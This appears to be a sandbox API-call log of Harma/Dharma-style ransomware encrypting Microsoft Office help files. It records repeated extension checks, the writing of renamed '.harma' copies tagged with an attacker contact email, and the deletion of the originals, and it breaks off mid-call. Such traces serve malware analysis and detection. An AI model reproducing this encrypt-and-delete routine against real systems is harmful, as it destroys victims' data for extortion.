SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.357] SetEndOfFile (hFile=0x398) returned 1 [0164.390] CloseHandle (hObject=0x398) returned 1 [0164.390] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0164.391] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_k_col.hxk")) returned 1 [0164.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0164.719] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0164.719] lstrlenW (lpString=".doc") returned 4 [0164.719] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0164.719] lstrlenW (lpString=".docx") returned 5 [0164.719] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0164.719] lstrlenW (lpString=".pdf") returned 4 [0164.719] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0164.720] lstrlenW (lpString=".xls") returned 4 [0164.720] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0164.720] lstrlenW (lpString=".xlsx") returned 5 [0164.720] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0164.720] lstrlenW (lpString=".ppt") returned 4 [0164.720] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0164.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0164.720] lstrlenW (lpString=".zip") returned 4 [0164.720] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0164.720] lstrlenW (lpString=".rar") returned 4 [0164.720] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0164.720] lstrlenW (lpString=".bz2") returned 4 [0164.720] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0164.720] lstrlenW (lpString=".7z") returned 3 [0164.720] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0164.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0164.720] lstrlenW (lpString=".dbf") returned 4 [0164.720] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0164.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0164.720] lstrlenW (lpString=".1cd") returned 4 [0164.720] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0164.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0164.720] lstrlenW (lpString=".jpg") returned 4 [0164.720] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0164.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0164.720] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0164.720] lstrlenW (lpString=".doc") returned 4 [0164.720] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0164.720] lstrlenW (lpString=".docx") returned 5 [0164.720] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0164.720] lstrlenW (lpString=".pdf") returned 4 [0164.721] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0164.721] lstrlenW (lpString=".xls") returned 4 [0164.721] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0164.721] lstrlenW (lpString=".xlsx") returned 5 [0164.721] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0164.721] lstrlenW (lpString=".ppt") returned 4 [0164.721] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0164.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0164.721] lstrlenW (lpString=".zip") returned 4 [0164.721] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0164.721] lstrlenW (lpString=".rar") returned 4 [0164.721] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0164.721] lstrlenW (lpString=".bz2") returned 4 [0164.721] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0164.721] lstrlenW (lpString=".7z") returned 3 [0164.721] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0164.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0164.721] lstrlenW (lpString=".dbf") returned 4 [0164.721] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0164.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0164.721] lstrlenW (lpString=".1cd") returned 4 [0164.721] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0164.721] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_K_COL.HXK") returned 63 [0164.721] lstrlenW (lpString=".jpg") returned 4 [0164.721] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0164.721] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0164.721] lstrlenW (lpString="VISIO_PRM_F_COL.HXK") returned 19 [0164.721] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0164.729] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=114) returned 1 [0164.729] CloseHandle (hObject=0x21c) returned 1 [0164.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk")) returned 0x20 [0164.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0164.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0164.730] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.730] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0164.731] GetLastError () returned 0x0 [0164.731] ReadFile (in: hFile=0x21c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x72, lpOverlapped=0x0) returned 1 [0164.732] WriteFile (in: hFile=0x2e8, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x80, lpOverlapped=0x0) returned 1 [0164.732] ReadFile (in: hFile=0x21c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0164.732] WriteFile (in: hFile=0x2e8, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0164.733] SetEndOfFile (hFile=0x2e8) returned 1 [0164.733] CloseHandle (hObject=0x2e8) returned 1 [0164.733] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.733] SetEndOfFile (hFile=0x21c) returned 1 [0164.736] CloseHandle (hObject=0x21c) returned 1 [0164.736] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0164.736] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_f_col.hxk")) returned 1 [0164.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0164.737] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0164.737] lstrlenW (lpString=".doc") returned 4 [0164.737] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0164.737] lstrlenW (lpString=".docx") returned 5 [0164.737] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0164.737] lstrlenW (lpString=".pdf") returned 4 [0164.737] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0164.737] lstrlenW (lpString=".xls") returned 4 [0164.737] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0164.737] lstrlenW (lpString=".xlsx") returned 5 [0164.737] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0164.737] lstrlenW (lpString=".ppt") returned 4 [0164.738] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0164.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0164.738] lstrlenW (lpString=".zip") returned 4 [0164.738] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0164.738] lstrlenW (lpString=".rar") returned 4 [0164.738] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0164.738] lstrlenW (lpString=".bz2") returned 4 [0164.738] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0164.738] lstrlenW (lpString=".7z") returned 3 [0164.738] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0164.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0164.738] lstrlenW (lpString=".dbf") returned 4 [0164.738] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0164.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0164.738] lstrlenW (lpString=".1cd") returned 4 [0164.738] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0164.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0164.738] lstrlenW (lpString=".jpg") returned 4 [0164.738] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0164.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0164.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0164.738] lstrlenW (lpString=".doc") returned 4 [0164.738] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0164.738] lstrlenW (lpString=".docx") returned 5 [0164.739] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0164.739] lstrlenW (lpString=".pdf") returned 4 [0164.739] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0164.739] lstrlenW (lpString=".xls") returned 4 [0164.739] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0164.739] lstrlenW (lpString=".xlsx") returned 5 [0164.739] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0164.739] lstrlenW (lpString=".ppt") returned 4 [0164.739] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0164.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0164.739] lstrlenW (lpString=".zip") returned 4 [0164.739] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0164.739] lstrlenW (lpString=".rar") returned 4 [0164.739] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0164.739] lstrlenW (lpString=".bz2") returned 4 [0164.739] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0164.739] lstrlenW (lpString=".7z") returned 3 [0164.740] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0164.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0164.740] lstrlenW (lpString=".dbf") returned 4 [0164.740] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0164.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0164.740] lstrlenW (lpString=".1cd") returned 4 [0164.740] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0164.740] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_F_COL.HXK") returned 67 [0164.740] lstrlenW (lpString=".jpg") returned 4 [0164.740] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0164.740] lstrcmpiW (lpString1=".HXK", lpString2=".harma") returned 1 [0164.740] lstrlenW (lpString="VISIO_PRM_K_COL.HXK") returned 19 [0164.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0164.741] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=113) returned 1 [0164.741] CloseHandle (hObject=0x21c) returned 1 [0164.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk")) returned 0x20 [0164.741] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0164.741] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0164.742] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.742] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.742] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0164.743] GetLastError () returned 0x0 [0164.743] ReadFile (in: hFile=0x21c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x71, lpOverlapped=0x0) returned 1 [0164.744] WriteFile (in: hFile=0x2e8, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0x80, lpOverlapped=0x0) returned 1 [0164.745] ReadFile (in: hFile=0x21c, lpBuffer=0x3d20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x313fed4, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesRead=0x313fed4*=0x0, lpOverlapped=0x0) returned 1 [0164.745] WriteFile (in: hFile=0x2e8, lpBuffer=0x3d20020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x313fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3d20020*, lpNumberOfBytesWritten=0x313fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0164.745] SetEndOfFile (hFile=0x2e8) returned 1 [0164.745] CloseHandle (hObject=0x2e8) returned 1 [0164.746] SetFilePointerEx (in: hFile=0x21c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x313fec8 | out: lpNewFilePointer=0x0) returned 1 [0164.746] SetEndOfFile (hFile=0x21c) returned 1 [0164.755] CloseHandle (hObject=0x21c) returned 1 [0164.755] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0164.756] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_prm_k_col.hxk")) returned 1 [0164.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0164.756] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0164.756] lstrlenW (lpString=".doc") returned 4 [0164.757] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0164.757] lstrlenW (lpString=".docx") returned 5 [0164.757] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0164.757] lstrlenW (lpString=".pdf") returned 4 [0164.757] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0164.757] lstrlenW (lpString=".xls") returned 4 [0164.757] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0164.757] lstrlenW (lpString=".xlsx") returned 5 [0164.757] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0164.757] lstrlenW (lpString=".ppt") returned 4 [0164.757] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0164.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0164.757] lstrlenW (lpString=".zip") returned 4 [0164.757] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0164.757] lstrlenW (lpString=".rar") returned 4 [0164.757] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0164.757] lstrlenW (lpString=".bz2") returned 4 [0164.757] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0164.757] lstrlenW (lpString=".7z") returned 3 [0164.757] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0164.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0164.757] lstrlenW (lpString=".dbf") returned 4 [0164.757] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0164.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0164.757] lstrlenW (lpString=".1cd") returned 4 [0164.757] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0164.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0164.757] lstrlenW (lpString=".jpg") returned 4 [0164.757] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0164.757] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0164.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0164.758] lstrlenW (lpString=".doc") returned 4 [0164.758] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0164.758] lstrlenW (lpString=".docx") returned 5 [0164.758] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0164.758] lstrlenW (lpString=".pdf") returned 4 [0164.758] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0164.758] lstrlenW (lpString=".xls") returned 4 [0164.758] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0164.758] lstrlenW (lpString=".xlsx") returned 5 [0164.758] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0164.758] lstrlenW (lpString=".ppt") returned 4 [0164.758] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0164.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0164.758] lstrlenW (lpString=".zip") returned 4 [0164.758] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0164.758] lstrlenW (lpString=".rar") returned 4 [0164.758] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0164.758] lstrlenW (lpString=".bz2") returned 4 [0164.758] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0164.758] lstrlenW (lpString=".7z") returned 3 [0164.758] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0164.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0164.758] lstrlenW (lpString=".dbf") returned 4 [0164.758] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0164.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0164.758] lstrlenW (lpString=".1cd") returned 4 [0164.758] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0164.758] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_PRM_K_COL.HXK") returned 67 [0164.758] lstrlenW (lpString=".jpg") returned 4 [0164.758] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0164.759] lstrcmpiW (lpString1=".HXS", lpString2=".harma") returned 1 [0164.759] lstrlenW (lpString="VISIO_STD.HXS") returned 13 [0164.759] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x21c [0164.759] GetFileSizeEx (in: hFile=0x21c, lpFileSize=0x313ff1c | out: lpFileSize=0x313ff1c*=2520158) returned 1 [0164.759] CloseHandle (hObject=0x21c) returned 1 [0164.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs")) returned 0x20 [0164.760] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0164.760] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visio_std.hxs.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0164.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0164.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0164.760] lstrlenW (lpString=".doc") returned 4 [0164.760] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0164.760] lstrlenW (lpString=".docx") returned 5 [0164.760] lstrcmpiW (lpString1=".docx", lpString2="D.HXS") returned -1 [0164.760] lstrlenW (lpString=".pdf") returned 4 [0164.760] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0164.760] lstrlenW (lpString=".xls") returned 4 [0164.760] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0164.760] lstrlenW (lpString=".xlsx") returned 5 [0164.760] lstrcmpiW (lpString1=".xlsx", lpString2="D.HXS") returned -1 [0164.760] lstrlenW (lpString=".ppt") returned 4 [0164.760] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0164.760] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0164.760] lstrlenW (lpString=".zip") returned 4 [0164.760] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0164.760] lstrlenW (lpString=".rar") returned 4 [0164.760] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0164.760] lstrlenW (lpString=".bz2") returned 4 [0164.761] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0164.761] lstrlenW (lpString=".7z") returned 3 [0164.761] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0164.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0164.761] lstrlenW (lpString=".dbf") returned 4 [0164.761] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0164.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0164.761] lstrlenW (lpString=".1cd") returned 4 [0164.761] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0164.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0164.761] lstrlenW (lpString=".jpg") returned 4 [0164.761] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0164.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0164.761] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISIO_STD.HXS") returned 61 [0164.761] lstrlenW (lpString=".doc") returned 4 [0164.761] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0164.761] lstrlenW (lpString=".docx") returned 5 [0164.761] lstrcmpiW (lpString1=".docx", lpString2="D.HXS") returned -1 [0164.761] lstrlenW 